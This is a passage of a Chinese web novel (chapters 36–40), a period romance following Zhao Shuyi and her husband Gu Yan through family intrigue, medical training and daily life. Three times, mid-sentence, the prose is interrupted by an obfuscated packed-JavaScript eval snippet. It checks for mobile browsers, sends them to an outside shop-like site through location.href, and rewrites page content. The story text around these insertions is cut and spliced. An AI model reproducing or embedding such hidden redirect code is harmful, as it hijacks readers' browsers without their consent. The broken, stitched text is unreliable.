赵书宜怔了一下,点头,跟着他走出房门。 她猜应该是比较重要的事情,要不然他不会那么严肃。 夏天的春城夜晚也有些凉意,顾岩拿了件干净的外套出去时搭在了赵书宜的肩上。 “谢谢。” 赵书宜捧着杯温水,问:“就在这谈吗?” 顾岩低低笑了一声,“你别紧张,也不是什么特别重要的事情。” 闻言赵书宜松一口气,“但是你说得好严肃,我还以为发生什么事了,所以是什么事?” 两个人说话轻轻的,但夏天夜晚,除了虫鸣,四周都很安静,能听清楚彼此的说话声,甚至是呼吸声。 赵书宜感觉顾岩的状态怪怪的,因此她嘴上说着放松,心里却还是有两分忐忑。 所幸顾岩不是爱卖关子的人。 他说:“我之前找人去京市调查了一下你们家的情况。” 赵书宜一惊,“什么时候?” “就是我们刚来这儿的时候,抱歉。” 赵书宜有点搞不懂他说这话事什么意思,为什么突然提及,调查就调查了,如果没什么问题的话,他没必要跟自己说。 难道他是查到什么了吗? 她心里紧张,表面不动声色。 “没事,怎么突然说这个,你是查到什么了吗?” 顾岩观察着赵书宜,他发现自己真的有些看不懂她。 他开门见山,“高志云和许晚晴家里被举报的事情是你做的吗?” 赵书宜眼睛睁大,表情震惊,“他们被举报了?” “你不知道?” “我不知道啊,我其实也想过要举报的,但是走得匆忙,我还没下手呢,不过我给高志云留了个雷。” 赵书宜早已经琢磨过这个问题。 自己不能承认举报的事情,如果承认举报是自己的手笔,那么高家的那些东西势必会牵扯到自己身上。 到时候万一说漏嘴很危险。 所以她一定咬死跟自己无关。 “我感觉高志云和许晚晴之间好像关系匪浅,虽然我不知道为什么许晚晴总是撮合我和高志云,但我看得出来,高志云一边嘴上对我献殷勤一边实际对许晚晴很好。” “他们明显对我不怀好意,我在离开之前就去找了研究所的领导给他们两人上了点眼药,如果我猜得没错,以后高志云在研究所一定得不到重用。” “我爸说高志云基础一般,但很会投机取巧,他这样的人根本不应该待在研究所,更何况他还很有可能会害我家。” “你会不会觉得我这样做很不好?毕竟我也没有他害我们家的证据。” 问完这话赵书宜后知后觉自己可能说得有点多了,她的心也跟着微微提了起来。 不过不管怎么说,她都不会承认事情是自己做的。 好在顾岩看上去并没有怀疑她,他摇头,“不会,虽然我也不知道他有没有害你们家,但你猜得没错,他们两个确实关系匪浅。” “而且他们都有参与那些学生团体的一些活动,尤其是许晚晴跟他们其中好几个组织者都关系匪浅,她结婚了,和一个叫薛齐的男同学。” “结婚?薛齐?” 赵书宜震惊,这剧情跑到哪儿去了? 书里没有这样的内容啊。 不过薛齐她是知道的,这人在这十年里借助委员会耀武扬威,赚了许多钱,也得罪了不少的人。 后来清算时,下场并不好。 按理来说,许晚晴作为一个重生者她应该知道薛齐的结局,说他利用对方还行,怎么可能和对方结婚呢? “你知道他们是怎么结婚的吗,难不成是看高志云没前途了他就结婚了?” “具体的我也不是很清楚,但应该差不多,是被发现两个人同处一室结婚的。” 现在耍流氓的罪还是很严重的,他们被发现在一起除了结婚没有别的路可走。 赵书宜真搞不懂,“那高志云呢,我的方法有效吗,他在研究所的处境你知道吗?” 对上顾岩幽幽的视线,赵书宜心虚,又问:“还有,他们两家是怎么被举报的?罪名是什么?” “高志云被研究所劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的头低低垂着,没注意到高志云看自己的复杂的眼神。 “晚晴,你和薛齐真的是被算计的吗?” 听到这话,许晚晴这才如梦初醒,她一脸无辜,有些激动问:“你这是什么意思,我不是都已经解释过了吗,我和薛齐只是同学,我找他是想找他借点钱。” 高志云这个人虽然烂,但许晚晴知道他也是有点本事的,她可不能轻易地放过他。 但面上她却表现得一副要和对方一刀两断的架势。 “你不信我,罢了,反正我也和他结婚了,你信不信也不重要了,就当我一腔真心喂了狗,以后别联系了。” 她作势要离开,胳膊却被人抓住。 许晚晴嘴角讥诮弧度一闪而逝。 “你拉着我做什么,我现在已经嫁过人了,我也配不上你了,你别拉着我。” “晚晴。” 她被高志云抱在了怀里。 “晚晴,你别离开我,我什么都没有了,家没有了工作没有了,我只剩你了。” 听到这话许晚晴就火大,高志云本是她备选里不错的对象。 知道他和赵书宜好拿捏,她才把他们凑在一起,结果他倒好,把自己混成这个鬼样子。 要不是他还有点用,她才懒得搭理他。 许晚晴压下心中的嫌弃,转身也抱住了他。 “你在说什么,你那么有才华,我相信你肯定可以东山再起的,我等你好起来救我出火坑。” 没有男人不喜欢女人把自己当成依靠与救赎。 之前对许晚晴的怀疑被高志云抛到了一旁,他紧紧拥着她,想要把她融进自己的骨血。 37. 会有危险吗 京市那两人如何缠缠绵绵赵书宜是不知道的。 她也没能从顾岩话里问出有关他二人的事情。 那两个人爱做些见不得人的事,自然不会有什么好果子吃。顾岩知道的比她想象中的多太多了。 顾岩面色凝重,说:“现在京市已经有些乱了,许多学生行为都有些激进,幸亏你来了云省。” 闻言赵书宜深以为然。 她叹息一声,“总会好起来的,算了不说他们了,以后他们的事都跟我无关,我们自己把日子过好,比什么都重要,你说呢?” 顾岩扬了扬嘴角,“是,明天能不能一起去给爷爷打个电话,他老人家想跟你通话。” “当然,我早说要跟爷爷讲电话的,现在才通话已经很失礼了,爷爷不会生气吧。” 之前她就浅浅询问过要不要和他家人联系,是他说不急。 “不会,之前爷爷有任务,不方便联系,我也是今天才联系上,你不用担心,他很喜欢你。” 赵书宜表示怀疑。 “我都好久没见过爷爷了,爷爷肯定都已经不记得我了。” 顾岩肯定道:“他会喜欢你的。” 这是在夸她吧? 不得不说赵书宜被夸高兴了。 她笑着问:“是不是你在爷爷面前说我好话了?” 今晚月光黯淡,但顾岩依旧能看清她望向自己时的那双明亮的眸子。 他吞咽了一下,抬手在她头上揉了揉,“睡觉了。” “你别转移话题啊。”赵书宜抓住他做了坏事的手,简直大得不得了,有她两个手那么大,握着特别奇怪。 赵书宜立马松开,欲盖弥彰一般地喝了一口水。 顾岩收回右手,用左手狠狠捏了一下自己的右手,那种有些酥麻的感觉才被他压下去。 “我去帮你提水。” 这次赵书宜没再拦着他,等他离开赵书宜这才用手背挨了挨自己的脸。 好烫。 “真是不争气啊!不就是摸个手而已吗?” 有了刚才那一丝丝的暧昧,晚上两人都没再怎么说话,躺在一张床上,中间依旧隔了一条线。 要睡着前,赵书宜才猛然想起来。 “我说让你教我招式的,我都忘了,明天早上喊我起床吧,我要练起来。” 顾岩嗯了一声。 不出意外他又没有喊赵书宜。 赵书宜搞不懂他,起来后顾岩还不在,赵书宜也没脾气了,自顾做了锻炼,吃饭时才看到桌上的纸条。 “继续蹲马步,晚上一定教你,早点吃早饭,午饭后去打电话。” 顾岩的字迹倒是跟他的外表很是契合,粗犷中含着一丝秀丽。 就像他那张脸,不管是配上现在的强壮身材还是给他一个文弱书生的身材都很适配。 鬼使神差的,赵书宜把纸条小心折起来放进了空间,她这才开始吃饭。 蔡明亮也不在,估计是被他送到了隔壁。 赵书宜吃过饭过去看了一眼,果然,夏木兰正在和孩子一起画画。 “来了。” 赵书宜嗯了一声,对她露出一个大大的笑容,“早,嫂子吃过早饭了吗?” 她坐到夏木兰身边,看到她纸上画的森林会议,羡慕到流泪。 “这也太可爱了,我怎么没在小时候认识您啊,我要是老早认识您我肯定每天问您要一幅画。” 夏木兰难得地露出一个鲜活的嗔怪表情。 “哪有那么夸张?你要是喜欢我也可以给你画啊,你想画什么?” “真的吗?您要是这么说,那我可不客气了。” “真的,你想画什么?” “我想……”赵书宜蓦地有点不好意思,“能帮我和顾岩还有小亮三个人画一张吗,随便什么场景都好。” 虽然昨天顾岩没说,但她就是感觉他在问起画的时候有点酸。 结婚那天说要去拍照也没拍,也不知道是顾岩不喜欢还是他没有这个意识,她觉得他们可以有一张合照。 如果这个合照是画的,那就更有意义了。 谁知夏木兰直接就从自己的本子前面撕了两页下来递给了赵书宜。 赵书宜一看,不仅有他们三人的,居然还有一张她和顾岩两个人的。 两人一人穿着修身的裙子,一人穿着板正的西装。 赵书宜笑着,顾岩微微偏头看着她,最近噙着淡淡的弧度。 太传神了。 虽然很温馨很浪漫,但是赵书宜还是觉得很好笑。 “嫂子,你观察得可真仔细,顾岩可不就是这个样子吗,你让他笑就像有刀架在他脖子上似的。” 不过那眼神画得也太深情了。 赵书宜好像没见过顾岩露出那样的眼神,但是她觉得对方深情时应该就是这个样子。 画面里,两人的身后是一片开花的树林,真好看。 “嫂子,我会好好珍藏的,谢谢你。” “不用客气。”夏木兰浅笑着,说,“你帮我看看,我画的这个故事怎么样。” 赵书宜刚刚就看到了一个本子已经被她用了好多页,但她没说,赵书宜便没多问,现在她说起来,赵书宜自然热情回应。 赵书宜虽然不能切实地体会夏木兰的情绪,却也能理解一些的,也知道怎么样的反应能让对方心里更舒服一点。 认真对待她,认真对待她的作品,这就够了。 她画的也是动物的故事。 故事的开头是松鼠忘记大人的嘱托自己贪玩跑到了丛林深处迷路了,然后小松鼠一边寻找回家的路一边在途中助人为乐的故事。 故事很简单,但是画得是真的好。 孩子看了都一定会想当乐于助人的小松鼠。 “您画得好我已经说倦了,不过您的故事还可以多一点反转,比如一开始可以加一点小孩子的天性,他们贪玩,可能走在路上就被蝴蝶吸引了,根本就忘了自己要回家。” “比如小松鼠遇到小熊,他一开始是很害怕的,但小熊想和他做朋友,他逃他追两人一起跌落陷阱,一起逃出陷阱。” 赵书宜又随便说了两个可以让故事更有冲突的写法,夏木兰听得很认真,旁边一直画画的蔡明亮也停下了手中动作认认真真地听着。 赵书宜恍然觉得自己成为了一个小老师。 “我明白了,反转,确实更有意思。” 夏木兰不知是想到了一个什么样的故事,又开始埋头画起来。 赵书宜的视线照例扫过她紧裹着的下半身,抿了抿唇然后给两人倒了掺了灵泉水的温水,这才默默回了自家院子。 结果她前脚刚进去,后脚就有人上门来了。 看着院子里站着的乌泱泱一群人,赵书宜惊呆了。 “这位就是赵书宜赵同志吧,赵书宜同志,真是太感谢你了,如果不 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东西不算多,但在大庭广众之下是很合适的分量了。 赵书宜也不知道这年头的感谢都应该是这样,还是他们刻意,反正没多久,大半个家属院的人都知道了赵书宜见义勇为的事情了。 人来了一波又一波,还有人给赵书宜送菜送鸡蛋什么的,赵书宜当然不可能要,但是人家把东西塞了就走,还说是什么为了欢迎新的军嫂给的东西。 无奈赵书宜只能记下谁又给了什么东西然后等之后再回礼。 赵书宜原本是想请来送锦旗的同志在家里吃饭的,但大家都很客气,听说她要去做饭溜得贼快。 人就走了就剩赵书宜和顾岩两人面面相觑。 看她呆愣愣的样子,顾岩嘴角弯起来。 “外面现在乱起来了,你名声好点对你有好处,不过这事之后我们还是得低调点了。” 他一说,赵书宜就明白了他的意思。 她点点头,“之后我没事就在家里待着,反正我也喜欢在家待着,对了,我还想进山去,找点草药什么的,我想帮帮夏连长。” 赵书宜觉得最近她和隔壁的关系已经好起来了,她可以尝试推进了。 顾岩却拧着眉好似不太愿意。 “怎么了,是有什么问题吗?上次你带我去的那里就不错,我应该能找到路了,而且最近山上应该还有很多菌子,说不定我还能去摘到菌子呢。” “不行!”顾岩看着她疑惑的表情,说,“你一个人去我不放心,你等我放假的时候跟你一起去。” “是会有危险吗?”之前去的时候感觉还好。 “嗯,每到秋冬都很有可能会有大家伙下山,不安全的。” 顾岩其实想说除了山里那些畜牲不安全,有些人也未必安全。 他怎么可能让她一个小姑娘往山上跑? 想到在沪市时路上见到她那次,他的脸更黑了。 别跟他说什么她会伪装,她但凡露出点皮肤谁看不出来? 赵书宜想了想,答应下来。 “好吧,那你有空提前跟我说。” 她面上答应,心里却想着有机会自己还是得自己去一趟的。 38. 小丫头片子懂什么? 也是后来赵书宜才知道,原本张玥写信告诉她哥表扬的是他们两人。 张玥作为一个记者,一向是实事求是的。 只是她的表扬信写过来后,她哥跟顾岩一合计,两人就把功劳都推给了赵书宜。 “你们这样要是被别人知道了会不会影响不好?” 顾岩很肯定道:“不会,这是我们自己的事,而且本来这件事情也是你先开口帮忙的,我只是帮你而已。” 他的表情很认真,要不是他身上还穿着军装赵书宜都要相信了。 赵书宜相信,哪怕没有自己遇到人民群众有困难他肯定也会义无反顾地上前帮忙。 但是谁又不喜欢听好听的话呢? 这件事她没有扭扭捏捏跟他议论太多,做都做了,锦旗也都挂起来了,她要感谢他有的是机会。 接下来的几天时间顾岩忙了起来。 他刚刚坐上副团的位置,工作交接有很多事情要做,每天都是早出晚归的。 但是他依旧每天一大早给赵书宜准备好早饭和一天需要的菜,晚上回来教赵书宜两个动作,然后就洗漱睡觉。 两个人之间虽然没什么感情进展,但赵书宜觉得这样平淡而和谐的日子还是很舒服的。 在征求隔壁夏木兰的同意后,赵书宜把自己和她的画整理了一下又写了封信寄给了张玥。 她觉得她们现在做的这件事情应该会很有意义,能看得出来夏连长对事情的后续进展也是很期待的。 趁着她高兴赵书宜原本想着跟她提腿的事,但一时没能找到合适的借口,于是事情就一直拖着。 把事情都安排好,赵书宜跟着黄姐一起去找了王军医。 “你不用太担心,王军医这个人也就是看着严肃,但是他在家属院行医多年,就没人对他有什么意见,只要你认真学有真本事,他肯定能好好指导你。” 黄梅不知道赵书宜是真会医术还是只是懂得点皮毛,但就冲她最近照顾夏木兰的效果和赵书宜乐于助人的为人,她就愿意当这个担保人。 她没说的是,其实一开始王军医是严厉拒绝的。 后来还是看在夏木兰的面子上才答应了。 这也是为什么她一定要亲自领着赵书宜过去的缘故,她怕对方给赵书宜难堪,到时候再把赵书宜给吓跑了。 “反正,他人挺好的,相处相处你就知道了。” 赵书宜看到她不断给自己打预防针的样子不禁好笑。 紧张的是她吧。 听她话里的意思王军医是个不错的有医德的人,这就足够了。 一般来说,有点本事的人都有自己的个性。 她不担心。 “走吧。”黄梅深吸一口气,和她一起进了卫生所。 “老王,我把赵同志给你带来了,以后她就交给你照顾了,你可别辜负了组织的信任。” 王军医睨了她一眼,没搭理,而是看向了赵书宜。 见赵书宜规规矩矩站着,一个辫子稳稳扎在脑后,干干净净的,神色缓和两分,问:“你会做什么?” 赵书宜:“我能给您把把脉吗?” “你会把脉?”王军医面上难掩诧异,立马把手伸了出来。 赵书宜抬手搭上去,心里还是多少有些紧张的。 她会把脉,但技术算不上多好。 不过她也没打算夸大其词地在王军医面前显摆自己,能让对方知道自己的真实水平,日后大家也好交流。 很快赵书宜的眉头轻轻蹙起来。 看她这表情,王军医还没着急,黄梅反倒着急了。 “怎么了,书宜,王军医这身体是有什么问题吗?” 赵书宜神情古怪看了王军医一眼。 王军医气笑了。 “你说说看,我什么毛病?” 他身体好的很,他自己什么身体自己还不知道吗? 学艺不精的小丫头片子! “王军医,您脉搏强劲,身体还算不错。” 闻言黄梅都松了一口气。 “身体好就好,咱们家属院还得靠王军医撑起来呢,但他身体好是好事,你怎么这副表情?” 赵书宜欲言又止。 有些话不可说啊。 王军医怎么可能看不出来她的表情,心里都有点开始怀疑自己了。 “有什么你就说,老子最讨厌藏着掖着的人了。” 赵书宜:“您确定让我说?” 这话越听越不对劲。 王军医心里暗想了一下自己有没有什么隐疾,很快就又直起腰杆。 “你说!” 他倒是要看看,这小丫头能说出什么厉害话来。 结果就听赵书宜笑眯眯问:“王军医和婶子感情不错吧。” 王军医看着和赵父差不多的年纪,她喊声叔是可以的,那他媳妇她自然就该喊婶子。 “是又怎么……” 王军医没多想,张口回答,说到一半,他闭了嘴,随即一张老脸涨得通红。 都是过来人,黄梅自然也很快反应过来赵书宜的意思,回想起前些天跟好友私下的聊过的话题,她都替王军医尴尬。 再抬眼,见赵书宜还笑眯眯的,黄梅嗔了她一眼,也跟着憋笑。 王军医摆摆手,“行了行了,我还要很多药材需要炮制,你这小丫头去弄吧,别只会嘴上说说,干不了活就早点滚回去。” 哼! 小丫头片子懂什么? 他和他媳妇感情好,不行吗? 王军医表面傲娇,心里却想着自己是不是也给自己开两副药补补。 赵书宜见好就收,“好勒,我肯定给您收拾得妥妥当当的。” 对方算是长辈,她其实也没想笑话人的。 实在是从脉象上来看王军医身体很好,除了有点重欲过度,其他的都很好。 她要是说不出个什么来,对方不得真觉得她啥也不行吗? 但仔细一想说说也没什么,自己作为大夫,对病人身体实事求是地告知详情是应该的。 而王军医作为大夫,也不能讳疾忌医吧。 赵书宜很快把自己说服,便准备开始炮制药材,按黄姐提前跟王军医说好的,她每天需要到卫生院学习两个时辰,不仅是学习也是帮忙,会有补贴和她照顾夏连长的津贴一起发放。 组织给的报酬,赵书宜自然不会拒绝。 拿了钱她干活也得好好干,所以动作很麻利。 赵书宜要干活,黄梅也不好多待,就走了。 有些玩笑话对着男人她不能说,但她肯定得去笑话笑话自己好友。 想想她就乐得不行。 很快,卫生所就剩了赵书宜和王军医两个人。 赵书宜有不确定的就去问王军医,对方也会耐心回答。 看了她炮制的药材,王军医也没多说,这说明至少赵书宜是没做错的。 等王军医交代的任务完成,差不多正好两个小时,王军医递给她一本医书。 “这是常考的一些基础病症,你先回去好好看看,如果有不懂的来问我,绝对不要不懂装懂。” 赵书宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720565|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收下,规规矩矩道了谢。 “麻烦您了。” 王军医冷哼一声。 别以为他不知道,这小丫头,心眼肯定比筛子还多。 他料定赵书宜一定是故意的,就是因为自己一开始对她态度不好,所以她故意使坏。 小气的丫头。 赵书宜被哼也不恼,她差不多了解了王军医的脾性。 他这个年纪还能和家里媳妇关系好,肯定也是个不错的丈夫。 所以总结下来,黄姐说得对,王军医人不错,可以交。 赵书宜回去,没急着回家,而是先去了隔壁。 夏木兰家的门默认不关,她是可以随便进的。 如果关了门才说明不方便进,所以赵书宜就直接进去了,只是快到门前时她还是轻轻喊了一声。 “嫂子,小亮,我回来了。” 一走进去就见夏木兰竖了一根手指在嘴巴跟前,小亮在她旁边睡得很香。 两个人相处得真的很不错。 赵书宜自觉放慢步伐,上前帮夏木兰换了杯热水。 “您饿了没,有什么需要帮忙的吗?” 夏木兰:“暂时不用,谢谢。” “您别跟我客气。” 见蔡明亮还在睡,赵书宜提议,“我先回去做饭,小亮就再劳嫂子多看会儿。” 夏木兰扯扯嘴角露出一个清浅的笑容,她现在这副恬淡的样子任谁看了也不像是从战场上拼杀过来的。 赵书宜也笑着离开了。 她今天打算做一个红烧鸭肉,得多花点时间。 现如今他们院子里除了种的菜,还专门围了个角落养了几只鸡鸭。 棚子是顾岩抽空搭的,搭得有模有样的,里面还有被他石头片铺了一条小路,然后在棚子的中间栽了一棵葡萄。 等以后葡萄长大了就可以搭在架子上了。 但此时此刻,小小的葡萄苗还需要用小栅栏围着,免得被鸡鸭嚯嚯了。 赵书宜想要葡萄长得快点,还悄悄给葡萄藤滴了两滴灵泉水,结果一觉醒来,葡萄藤蹭蹭长了十几厘米。 所幸顾岩这几天忙得不可开交,连回家吃饭的时间都没有,喂鸡喂鸭的活儿自然也都让赵书宜给包了。 但即便如此,赵书宜也不敢再给那葡萄增加它不该有的营养了。 不过今天要吃的这只鸭子被赵书宜放进了空间,同时换了一只养在空间里的鸭子。 等下锅翻炒时,飘散出来的香味就明显不同了。 赵书宜自己边做边咽口水,等做好她迫不及待给隔壁送了盆过去把孩子领回来开饭。 “小亮,一会儿吃完饭你乖乖锻炼身体,婶子去给顾叔叔送饭,送饭回来帮你烧水洗漱可以吗?” 蔡明亮一向乖巧,不管在谁面前,只要跟他说了他都会照做,自己一个人时也不会调皮捣蛋。 原本照顾这样的孩子是最轻松的,可他老是这样乖乖巧巧的,却也让人心酸。 “要不,你跟婶子一起去送饭?” 蔡明亮还是点头。 赵书宜觉得手里的肉都没那么香了,又给孩子夹了两块。 她想了想,问:“你是想跟婶子一起过去,还是想在家里等着婶子回来。” 蔡明亮抬头,眼神有些迷茫,像是在疑惑自己还有选择的权利吗? 赵书宜没急着让他给答案,只耐心等着。 好在最后他有些不好意思说:“我想给顾叔叔送饭。” “嗯,我们小亮真乖,一会儿我们给顾叔叔多送两块肉。” 39. 他们都很羡慕我 顾岩最近很忙。 据黄梅所说,他们忙起来连吃饭的时间都没有,赵书宜还是有些担心的。 别看他们这些当兵的一个个看起来牛高马大精神矍铄,但他们出去完成任务的时候时常顾及不到自己的身体,每个人身上多多少少都有些暗伤小病。 这些病平常是不影响,可是等遇到紧要任务的时候可能会影响他们的行动。 赵书宜平常想不到这些也就算了。 现在知道顾岩忙得没空吃饭,她怎么好意思在家吃独食? 所以刚吃完饭,简单收拾一下碗筷,赵书宜就拎着饭盒抱着小亮往顾岩他们办公的地方去了。 家属院和他们办公区是分开的,要进去必须得有人领着,两人到门口就被拦了下来。 守门的小战士听说赵书宜是来给顾岩送饭的,诧异了一下,但很快恢复正常神色。 “我去给您叫人。”说完一溜烟就跑了。 赵书宜想说的话被堵在嗓子眼。 她想说要不他直接拿进去就好了。 自己是来送饭的,现在搞得好像是她很想念顾岩似的。 彼时,顾岩正在开会。 先前的副团已经定好了下半年的训练目标。 但是每个领导的行事风格不同,他经过一段时间的考察,觉得可以有一些调整,这两天就在忙这个事。 尤其是下半年还要进行军事演习,这次的演习添加了一些从前没有过的项目,相关的训练也是要融合在平时的训练中的。 这些事情听起来简单,真正实施起来可是很麻烦的,稍有不慎可能就会影响训练效果。 演习若是失败问题倒也不算大,只能说明他们做领导的没能做好,但如果遇到了真正的任务,他们失败,那损失将无法估计。 所以不管是平时的训练还是演习,都要做到最好,顾岩也是这样严格要求自己的。 又对了一下前两天提出的几个问题,说得几人口干舌燥。 刚休息,门口传来敲门声。 “顾副团,嫂子来了。” 顾岩蹭地从凳子上站起来就往外走,“怎么了,她有说什么事吗?” 在顾岩看来,赵书宜要是没什么事,肯定不会到这边来找他的。 所以等听到小战士说嫂子是来送饭的时候,他们人已经到了办公楼外了。 “送饭?” 顾岩脚步顿住,有点不敢相信自己听到的话。 赵书宜怎么突然想到给他送饭了? 该不会送饭只是幌子吧,可能还是有事。 想到这顾岩又加快了脚步。 等走到门口,看到牵着孩子拎着饭盒一脸温柔的赵书宜时,顾岩觉得自己心中塌陷了一块。 “怎么过来了,是有什么事吗?” 顾岩尽量让自己的声音听起来正常一点,只是眼神里的炙热还是很难忽略。 赵书宜莫名有点不好意思,却也没能抓住脑子里一闪而逝的某些念头。 她把饭盒递给他说:“今天做的鸭肉味道很好,想着带小亮出来走走,也给你送点过来,趁热吃。” 小小的蔡明亮也很给面子地仰头附和,“特别好吃,顾叔叔吃。” 看着一大一小,顾岩嘴角上扬。 “你做的菜都很好吃。” 旁边回到岗位的小战士站得板正,眼神却止不住地落在这三人的身上。 莫名的,他有点饱。 他现在是不是不应该站在这里? 所幸赵书宜也没好意思多待,傲娇地说了一句,“算你会说好听话,赶紧去吃吧,不打扰你了。” 顾岩不知道说什么,只能干巴巴地说了句谢谢。 赵书宜:“……不客气,那我们先走了。” 说着她尴尴尬尬地带着蔡明亮走了。 她觉得她以后应该都不会再来送饭了。 谁知道她之前在想什么? 那小战士肯定也觉得很搞笑吧。 人家又不是吃不上饭,哪里需要她送饭? 两分钟后。 几人看着顾岩回来手里拿着的饭盒,还有什么不明白的? “这是嫂子来送饭来了?” 他们这里几个营长副营长都是有媳妇的,但老夫老妻,饿不死就行,哪里有这么贴心? “让我尝尝。” 张团长也在,别人不敢说的话,也就他敢说。 不仅是因为他是领导,还因为他和顾岩的关系一向不错。 再加上之前赵书宜救了张玥的事,两人之间更不见外了。 但是顾岩不同意。 他本来正要打开饭盒,看到虎视眈眈的几人,换了个位置。 “赶紧吃饭去吧,吃了继续开会。” “你这小子!”张尧气笑了。 众人也开始起哄。 他越不给众人越是来劲,都围了上来。 等饭盒一打开,闻到香味,众人都挪不动步子了。 “赵同志这手艺也太好了,啥时候请我们吃饭啊,结婚没有,搬家没有,你这小子,抠死你算了!” 都围上来了,顾岩把筷子递给张尧。 “你想一块肉就把我们打发了,那不行,必须得请客。” 不是他不想吃,那香味太勾人,一块怎么够? 再说了,他们这么多人,一人两块,那还能有剩? 顾岩不得把他们给吃了。 还是等他家请吃饭吧。 顾岩点头,“忙过这一阵吧。” - 赵书宜回家后天已经黑尽了,她领着小孩锻炼了一会儿就收拾让孩子睡下了。 而她自己则趁着这个机会从洗澡间进了空间。 空间里的稻子已经收割了,蔬菜也种出来一些,平常她都掺杂着混在顾岩买的菜里,味道明显更好。 赵书宜觉得如果不是念着顾岩的腿,或许当个厨子才是她最好的出路。 她照顾了一会儿自己的鸡鸭兔子和田地,赵书宜觉得自己是时候去爬山了。 要不然这些兔子没由头拿出来。 等顾岩闲下来,她感觉恐怕山上的菌子都没了。 她觉得自己最近虽不至于把身手练得多好,但身体素质明显增强了。 而且她有空间,安全应该有保障。 正想着,外面传来开门的声音,赵书宜连忙出了空间假装洗澡。 等她出去,果然是顾岩。 “今天怎么这么早?” 最近这几天顾岩回来赵书宜都已经睡了,她以为顾岩还得忙一阵呢。 顾岩看着她一头湿发的样子有点愣神,听到她的声音才反应过来。 他清了清嗓子,说:“今天散会比较早,明天还要忙。” 他当然不可能说是那群家伙非要催着他回来和赵书宜培养夫妻感情。 他们料定了赵书宜来给自己送饭是想自己。 想到几人说的话,顾岩耳朵发烫,心里也有点发烫。 “你怎么想到给我送晚饭的?” 等他反应过来这话自己下午已经问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724877|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过时,话已经问出口了。 赵书宜正在心里想着上山的事,听到他的话愣了一下。 怎么又问? “怎么了,是规定不能送饭吗,我是不是给你惹麻烦了?” 赵书宜也是才想到这一点,她当时也是一时兴起想让顾岩吃到今天的菜。 所幸顾岩立刻否定了。 “没有的事,他们……他们都很羡慕我。” “羡慕你?” 顾岩笑笑点头,“羡慕你给我送饭。” 赵书宜看到他此刻的表情才恍然意识到他对于自己送饭这件事情是高兴的,心里也跟着雀跃起来。 然后嘴比脑子快,说:“那我以后做了好吃的还给你送。” “好,辛苦你了,如果太麻烦的话也不用。” 他担心她受累。 “没什么麻烦的,如果你需要的话我都可以给你送。” “那就麻烦你了。” 好客气。 赵书宜笑笑,没再多说。 明明都已经是夫妻了,他们两个也太生疏了。 赵书宜心里有种说不出来的异样的感觉。 “锅里有热水,你先去洗澡吧。” “好。”顾岩没有注意到赵书宜微弱的情绪变化,他还沉浸在对方以后天天都会给自己送饭的兴奋中,洗澡的时候还感觉是飘的。 等他收拾好回房间时,赵书宜已经躺下了。 顾岩轻轻皱了一下眉,平时她都会坐在床边等着自己先上床的。 不过那已经是之前自己不忙时候的事了。 或许她已经习惯了自己先上床。 顾岩暗骂自己矫情,然后关灯上了床。 赵书宜一直闭着眼,很快感觉一团火炉挨在了自己身边。 然后越来越热,越来越热。 赵书宜脑子里也不知道怎么抽了一下,她突地笑出声来。 “怎么了?” 顾岩转头看她。 大概因为闪婚的缘故,两人晚上睡觉其实是有些尴尬的,睡着的情况先不谈,没睡着时两人一直是很规矩的,基本就是躺着一动不动。 这还是顾岩第一次朝着她这边侧着身子,赵书宜一下子呼吸都停滞了。 “没……我就是……” 要开口时,赵书宜又觉得有点尴尬,不知道该不该说,该怎么说。 顾岩明显想听她说,一直等着。 无奈,赵书宜只能硬着头皮道:“我只是突然觉得你身上好热,感觉男女之间的差别好大,就觉得有点好笑。” 她真就是在笑这个,但哪里好笑她自己都不知道。 旁边,顾岩听到她的话,只觉得热意上涌,更热了。 他平常也没觉得自己这么热,他甚至控制不住。 良久,他平躺回去。 “抱歉,是不是让你不太舒服?” “没。”赵书宜心里无语喊天,她真没什么意思,就是脑子短路笑了一下。 意识到对方可能多想了,她解释,“我要是真觉得不舒服就不会笑了。” 这话,好像也很多余,怎么好像说她觉得舒服的意思。 赵书宜真想找个地缝钻进去。 她觉得,人呀,还是少说点话比较好。 然而顾岩其实并没有多想,他脑子里也乱七八糟的,眼看着思想逐渐要朝着自己难以控制的方向发展。 他突然想到一个很不错的回应的话。 “等冬天的时候你就不会觉得我热了,我能给你当火炉。” 40. “追啊!” 如顾岩所言,接下来的一段时间里他依旧很忙。 每天早出晚归都见不到人影。 赵书宜想着他可能真顾不上吃饭,每天下午会给他送饭。 中午没送,根据赵书宜自己的牛马经验,一般人上班午饭都不会亏了自己。 既然顾岩没空,她也就没打算再一直等着对方了,她要上山去。 这天正逢王军医要去给夏连长把脉,她早早起床,包了饺子给王军医送过去,请对方吃的同时也请他中午去给夏木兰和孩子送午饭。 这段时间她也差不多从王军医口中了解到了夏木兰的具体情况。 对方是腿上中弹,腿部神经受损,想要好起来其实不是不可能,但会十分艰难。 夏木兰不是不能站起来,而是她自己不愿意站起来。 她自小在大院长大,从小的理想就是成为一名光荣的军人,后来的她也确实是做到了。 但因为那次任务,她不仅再也上不了战场,就连正常行动都做不到。 她难免会想不开。 